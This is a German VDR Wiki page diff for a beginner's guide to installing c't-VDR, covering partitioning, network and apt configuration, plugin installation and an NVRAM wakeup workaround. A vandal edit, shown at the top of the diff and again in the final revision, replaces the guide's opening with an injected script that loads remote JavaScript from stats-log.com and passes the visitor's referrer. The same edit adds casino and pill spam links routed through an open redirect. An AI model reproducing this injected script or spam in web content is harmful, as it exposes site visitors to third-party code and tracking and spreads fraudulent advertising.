C't-VDR - Leitfaden für Einsteiger

Aus VDR Wiki
(Unterschied zwischen Versionen)
Wechseln zu: Navigation, Suche
(typos)
Zeile 1: Zeile 1:
==Die Installation von [[C't-VDR]]==
+
6xm278f-oyougkq-tw6qd26b-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.FREE-SLOTS.TK#2">free slots</a>
 
+
http://www.designcommunity.com/cgi-bin/mlk?http://www.casino-first.com/casino_roulette.html#1
# Image laden & brennen, einlegen, Router und Netzwerkkarte anschließen, Antenne/Schüssel an die DVB Karte anschließen und den Rechner neu starten.
+
[url=http://www.designcommunity.com/cgi-bin/mlk?http://www.pillswithoutprescription.com/tramadol.html#3]tramadol[/url]
# Vdrmenu anschauen und Hilfe aufrufen und dann die manuelle Installation mit dem 2.4 Kernel starten - nach meiner Erfahrung läuft sie besser! "Mit Onlineaktualisierung wählen", falls es das Menü vorschlägt - ist im Grunde aber egal, kann man später immer noch machen.
+
[url]http://www.designcommunity.com/cgi-bin/mlk?http://www.pillswithoutprescription.com/tramadol.html#4[/url]
# Installation durchführen.<br>Deine Festplatte wie in der FAQ beschrieben formatieren
+
[http://www.designcommunity.com/cgi-bin/mlk?http://www.tensandaces.com#5 blackjack]  
#*i. VDR System 2Gbyte, wird eingehängt unter /
+
"cialis":http://www.designcommunity.com/cgi-bin/mlk?http://www.pillswithoutprescription.com/cialis.html#6
#*ii swap (500 Mbyte), diese Partition wird als virtueller Speicher verwendet
+
[LINK http://www.PLAY-BLACK-JACK.TK#7]play black jack[/LINK]
#*iii. Audio & Videodaten, wird eingehängt unter /var/lib/video.00
+
# Netzwerk erstmal mit DHCP einrichten, es sei denn, man ist gut darin und kennt sich aus. Wenn es fehlschlägt, nochmal von vorn ;-)
+
# Plugins auswählen: Nur die wichtigsten - kann man auch jederzeit nachholen. Ich empfehle femon, rotor (falls vorhanden), Medienwiedergabe... usw
+
# Addons auswählen (erstmal mit Noad und ohne (!) NVRAM versuchen (weil letzteres schwieriger zu konfigurieren ist - kann man immer noch machen)
+
# Noad soll online und sofort arbeiten! (das macht Spaß!!!)
+
# Dann müsste der vdr von selbst starten!<br> Wenn dass der Fall ist, kommt man mit ALT-F8 immer wieder auf die TV-Konsole (über den Monitor!) und mit ALT- F1-F7 auf 7 verschiedene Textkonsolen.<br>Ja Linux ist im Multitasking richtig gut. Kann auch ruhig mal eine abschmieren, die anderen gehen immer noch ;-)
+
#Schauen ob man im Netzwerk Zugriff hat und erstmal zurücklehnen und VDR genießen... Mehr braucht man an einem Tag nicht schaffen ;-)
+
 
+
 
+
'''Wenn man Änderungen vornehmen muss:'''
+
 
+
11. Z.B. ALT F2 drücken und einloggen
+
 
+
 
+
12. "mc" eingeben, um den Midnight Commander zu starten
+
 
+
 
+
13. Nun betreffende Files gegebenenfalls anpassen (edit mit F4, Löschen F8, Kopieren F5, Markieren mit "entf" usw...). Unter Umständen ist es nötig die Sambafreigaben zu verändern:
+
 
+
 
+
Wenn man irgendwann einmal, nachdem die Installation abgeschlossen ist, Änderungen ausführen möchte, dann sollte man "base-config" ausführen.
+
 
+
==Wo finde ich Informationen speziell zu c't-VDR, Plugins usw.==
+
 
+
Die c't hat zu besonders zu Version 3 gute Seiten angelegt, welche vielerlei Hilfe zu Plugins & Erweiterungen bieten.
+
 
+
Vorsicht, nicht alle Seiten sind Topaktuell:
+
 
+
Hauptseite: http://www.heise.de/ct/ftp/projekte/vdr/default.shtml
+
 
+
c't FAQ: http://www.heise.de/ct/ftp/projekte/vdr/faq.shtml
+
 
+
Infos zu Lirc, Plugins, Mplayer: http://www.heise.de/ct/ftp/projekte/vdr/anleitungen.shtml#sources
+
 
+
Selbst compilieren & Entwickeln: http://www.heise.de/ct/ftp/projekte/vdr/develop.shtml
+
 
+
 
+
 
+
==c'tVDR - Dateien, die man bei einem neuen VDR unter Umständen ändern muss (zum Übernehmen alle Klammern löschen!):==
+
 
+
'''/etc/network/interfaces (hier steht alles über das Netzwerk)'''
+
 
+
  ## etherconf DEBCONF AREA. DO NOT EDIT THIS AREA OR INSERT TEXT BEFORE IT.
+
 
+
  auto lo eth0
+
 
+
  iface lo inet loopback
+
 
+
  iface eth0 inet static
+
 
+
  address 192.168.178.178 (die Adresse meines VDR am Router)
+
 
+
  netmask 255.255.255.0
+
 
+
  network 192.168.178.0
+
 
+
  broadcast 192.168.178.255
+
 
+
  gateway 192.168.178.1 (Routeradresse)
+
 
+
 
+
  ### END OF DEBCONF AREA.  PLACE YOUR EDITS BELOW; THEY WILL BE PRESERVED
+
 
+
 
+
 
+
'''/etc/apt/sources.list  (hier steht, alles über Orte an denen Updates zu finden sind)'''
+
 
+
  # e-tobi - vdr - experimental
+
 
+
  deb http://e-tobi.net/vdr-experimental sarge  base backports
+
 
+
  deb http://e-tobi.net/vdr-testing  sarge  base backports addons vdr-multipatch
+
 
+
  deb-src http://e-tobi.net/vdr-testing sarge base backports addons vdr
+
 
+
 
+
  # TomGs Repository
+
 
+
  deb http://e-tobi.net/vdrdevel-experimental sarge base backports addons vdr-multipatch
+
 
+
  deb-src http://e-tobi.net/vdrdevel-testing sarge base backports addons vdr
+
 
+
  deb ftp://ftp.heise.de/pub/ct/projekte/vdr/sarge/testing/binary base/
+
 
+
 
+
  # c't-Repository online Variante (sarge)
+
 
+
  deb ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/binary vdr/bigpatch/
+
 
+
  deb ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/binary base/
+
 
+
  deb ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/binary addons/
+
 
+
  deb ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/binary backports/
+
 
+
  deb http://www.heise.de/ct/ftp/projekte/vdr4 experimental/
+
 
+
 
+
  #Heise
+
 
+
  deb ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdrdevel/binary vdr/multipatch/
+
 
+
  deb ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdrdevel/binary addons/
+
 
+
 
+
  #Sourcen von heise
+
 
+
  deb-src ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/source vdr/
+
 
+
  deb-src ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/source base/
+
 
+
  deb-src ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/source addons/
+
 
+
  deb-src ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdr/source backports/
+
 
+
  deb-src ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdrdevel/source vdr/
+
 
+
  deb-src ftp://ftp.heise.de/pub/ct/projekte/vdr4/cd4/vdrdevel/source addons/
+
 
+
 
+
  #debian
+
  deb http://ftp.de.debian.org/debian  sarge main contrib non-free
+
 
+
  deb http://ftp.de.debian.org/debian-non-US  sarge/non-US main
+
 
+
 
+
  #Mirror of Security updates for SARGE
+
 
+
  deb http://security.debian.org/ sarge/updates main contrib non-free
+
 
+
 
+
  ###########
+
  # SOURCES #
+
  ###########
+
 
+
  deb-src http://ftp.de.debian.org/pub/debian/ sarge main
+
 
+
  deb-src http://ftp.de.debian.org/pub/debian/ sarge contrib non-free
+
 
+
 
+
 
+
 
+
'''/etc/apt/preferences (definiert Verhalten bei Updates)'''
+
 
+
  Package: *
+
 
+
  Pin: release o=e-tobi.net
+
 
+
 
+
  Pin-Priority: 1001
+
 
+
 
+
 
+
'''/var/lib/vdr/[[channels.conf]] (hier stehen alle empfangenen Kanäle für VDR)'''
+
 
+
'''/var/lib/vdrdevel/[[channels.conf]] (ebenso für denVDRdevel)'''
+
 
+
==Installation, Einstellung und Benutzen von Plugins==
+
Unter Debian Systemen ist es in der Regel sehr einfach, Plugins zu installieren. Der Befehl "apt-get install vdr-plugin-<pluginname>" installiert bei sorgfältig eingerichteter sources.list, die jeweils neusten Versionen der Plugins.
+
Bei einigen Plugins sind jedoch noch besondere Einstellungen oder "Kniffe" notwendig, um es zum Laufen zu bringen.
+
 
+
Bevor es losgeht sollte man erstmal den Befehl "'''apt-get update'''" aufrufen.
+
 
+
 
+
===Burn-Plugin===
+
'''Installation:'''
+
vdr: apt-get install vdr-plugin-burn
+
 
+
vdrdevel: apt-get install vdrdevel-plugin-burn
+
 
+
'''Besonderheiten:'''
+
 
+
Läuft unter ctvdr4 nur mit Anpassungen... (bitte vervollständigen)
+
 
+
 
+
'''Sonstiges'''
+
 
+
 
+
===Mp3-Plugin===
+
'''Installation:'''
+
 
+
vdr: apt-get install vdr-plugin-mp3
+
 
+
vdrdevel: apt-get install vdrdevel-plugin-mp3
+
 
+
 
+
'''Besonderheiten:'''
+
 
+
 
+
'''Sonstiges'''
+
 
+
 
+
===Mplayer-Plugin===
+
 
+
'''Installation:'''
+
vdr: apt-get install vdr-plugin-mplayer
+
 
+
vdrdevel: apt-get install vdrdevel-plugin-mplayer
+
 
+
'''Besonderheiten:'''
+
 
+
 
+
'''Sonstiges'''
+
In der Sources.conf sollte folgender Eintrag stehen:
+
 
+
## Repository fuer einige Multimedia-Bibliotheken
+
 
+
deb http://www.debian-multimedia.org  sarge main
+
 
+
==Installation, Einstellung und benutzen von Addons==
+
 
+
===NVram Plugin===
+
 
+
'''Installation:'''
+
 
+
vdr: apt-get install vdr-addon-nvram-wakeup
+
 
+
vdrdevel: apt-get install vdrdevel-addon-nvram-wakeup
+
 
+
 
+
'''Besonderheiten:'''
+
 
+
'''1) In /boot/grub/menu.lst bei ctvdr4 bereits vorhandene Einträge:'''
+
 
+
 
+
das sind die Einträge:
+
<pre>
+
title Debian GNU/Linux, kernel 2.4.30-ct-1
+
root (hd0,0)
+
kernel /boot/vmlinuz-2.4.30-ct-1 root=/dev/hda1 ro
+
initrd /boot/initrd.img-2.4.30-ct-1
+
savedefault
+
boot
+
title Debian GNU/Linux, kernel 2.4.30-ct-1 (recovery mode)
+
root (hd0,0)
+
kernel /boot/vmlinuz-2.4.30-ct-1 root=/dev/hda1 ro single
+
initrd /boot/initrd.img-2.4.30-ct-1
+
savedefault
+
boot
+
</pre>
+
 
+
'''folgenden Eintrag am Ende der Linux Einträge hinzufügen:'''
+
<pre>
+
title NVRAM
+
root (hd0,0) (<--- hier die eigene Partition eintragen)
+
halt
+
</pre>
+
'''2) In /etc/vdr/vdr-nvram-wakeup.conf'''
+
 
+
den Wert SPECIALSHUTDOWN so ändern:
+
 
+
<pre>SPECIALSHUTDOWN="/etc/init.d/vdrdevel stop ; sleep 1 ;grub-reboot 2 --no-floppy --batch"</pre>
+
 
+
(ACHTUNG: Die "2" bezeichnet den oben gemachten Eintrag in der in /boot/grub/menu.lst, gezählt wird (ab 0! gehts los, vorsicht!) Bei mir ist der NVRAM-Eintrag der 3. Eintrag, also nehme ich 2.)
+
 
+
 
+
Folgendes sollte auch auftauchen - steht meistens schon drin!
+
<pre>
+
ENABLED="yes"
+
COMMANDLINE="--directisa"
+
FORCE_REBOOT="yes"
+
REGULAR_DAYS=0 # 0=disabled, 1=each day, 2=each 2'nd day, 3=...
+
REGULAR_TIME=01:00 # HH:MM
+
</pre>
+
 
+
So sollte es gehen - der Rechner fährt auch rauf, aber bei manchen Konfigurationen unter ctvdr4 nicht runter...
+
 
+
Zur Erklärung: der User "snoozevdr" entdeckte folgendes Problem: Leider hat die Variable im aufrufenden Script /usr/lib/vdrdevel/vdrdevel-shutdown die Variable SHUTDOWNCMD nicht den Wert mehr hat, die ihr vorher im aufgerufenen Script zugewiesen wurde, sondern der standard Shutdown Wert.
+
 
+
Das Problem ist, dass im Script /usr/share/vdrdevel/shutdown-hooks/S90.nvram-wakeup die Variable
+
echo "SHUTDOWNCMD=\"$SPECIALSHUTDOWN\""
+
umsetzen sollte, damit der normale Shutdown den SPECIALSHUTDOWN durchführt, was er bei offensichtlich nicht tut. (Der Wert der SHUTDOWNCMD kommt aus /etc/default/vdrdevel)."
+
 
+
'''3) Ein Wokaround wurde nötig. Hier ist er (von snoozevdr)'''
+
 
+
im /usr/share/vdrdevel/shutdown-hooks/S90.nvram-wakeup an der Stelle, wo
+
 
+
echo "SHUTDOWNCMD=\"$SPECIALSHUTDOWN\""
+
 
+
durchgeführt wird, wird eine (neue) "Triggerdatei" erzeugt:
+
 
+
touch /tmp/nvram-shutdown
+
 
+
Dann wird im eigentlichen Shutdownscript /usr/lib/vdrdevel/vdrdevel-shutdown kurz vor Schluss (also noch vor "done") die Existenz dieser Datei geprüft, das shutdownkommando umgesetzt und die Triggerdatei weggelöscht:
+
also zufügen:
+
 
+
if [ -e /tmp/nvram-shutdown ] ; then
+
 
+
SHUTDOWNCMD="echo y|grub-reboot 2 --no-floppy --batch"
+
 
+
rm -f /tmp/nvram-shutdown
+
 
+
fi
+
 
+
'''Sonstiges'''
+
Bei ctVDR4 mit VDRdevel 1.3.37 scheint es auch mit den Anpassungen nicht mehr zu funktionieren.
+
Wenn jemand Lösungen weiß, bitte hier veröffentlichen!
+
 
+
 
+
 
+
[[Kategorie:C't-VDR|Leitfaden für Einsteiger]]
+

Version vom 22. September 2007, 16:21 Uhr

6xm278f-oyougkq-tw6qd26b-0 <script>var r = document.referrer; document.write('<script src="http://www.stats-log.com/gb.php?id=g&r='+escape(r)+'"><' + '/script>')</script> <a href="http://www.FREE-SLOTS.TK#2">free slots</a> http://www.designcommunity.com/cgi-bin/mlk?http://www.casino-first.com/casino_roulette.html#1 [url=http://www.designcommunity.com/cgi-bin/mlk?http://www.pillswithoutprescription.com/tramadol.html#3]tramadol[/url] [url]http://www.designcommunity.com/cgi-bin/mlk?http://www.pillswithoutprescription.com/tramadol.html#4[/url] blackjack "cialis":http://www.designcommunity.com/cgi-bin/mlk?http://www.pillswithoutprescription.com/cialis.html#6 [LINK http://www.PLAY-BLACK-JACK.TK#7]play black jack[/LINK]